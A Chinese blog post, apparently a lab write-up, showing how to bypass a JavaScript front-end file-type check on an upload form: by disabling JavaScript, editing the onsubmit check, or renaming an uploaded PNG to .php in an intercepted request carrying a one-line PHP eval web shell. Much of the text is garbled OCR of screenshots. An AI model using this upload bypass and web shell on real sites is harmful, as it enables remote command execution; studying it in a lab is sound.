文件上传-js前端验证

先上传一个文件看看

Re uest Cookies 
Data tools 
AntSword-W 
Burpsuite _F 
BZ162 
caidao-2016 
cain4.9 
downlondto 
FinalShe11Ai

 

 

这里有标识文件类型

 

方法一:

禁用js前端验证

使用工具禁用所有的 js 脚本

 

0 景 用 , 怎 CO 。 ” / CSS• 
禁 甲 存 (D 
禁 用 DNS 缓 存 〖 ) 
用 Java 
禁 用 Meta 里 定 同 
景 用 最 小 字 体 大 小 ( E , 
禁 用 页 面 色 彩 ( 
禁 用 惮 出 到 囗 
用 , ℃ 珏 ( D 
禁 用 页 面 铐 向 旧 
u 表 望 . 《 0 片 . @网页信息. 0 
上 传 一 个 到 服 务 
丷 禁 用 %ÄJavaScript(Q) 
丿 
禁 用 FE%JJavaScriptEÉ

 

或者修改 onsubmit 参数

 

 

 

 

i F footer 
(div c 
pt type=- text/ 
min. 
(script type—- text t javascript• 
i p t j nascrzpt• 
(script type—- text.' javascript• 
f 'S/ prisz—php. 
i p t type•• text/ 
25px: • > 
src-%upload 
Src up L 
-labs—aaster

 

 

保证

 

return checkFile()

函数返回值为true

 

第二种方法:

 

上传png文件 改为php后缀

-23977239422916 
Content—Disposition: form—data; file" , 
Content — Type : image/ png 
@eval ['cmd']); 
--23977239422916 
Content—Dxspositxon: form—data; " 
--23977239422916--1 
filename=" 
cmdyih - 
I. php"

<div "msg 
<div 
<img src=" . / upload/ cmdyih — 
I. php" 
width= Opx

远程执行命令,回显成功

posted @   小吕不忧伤  阅读(97)  评论(1编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示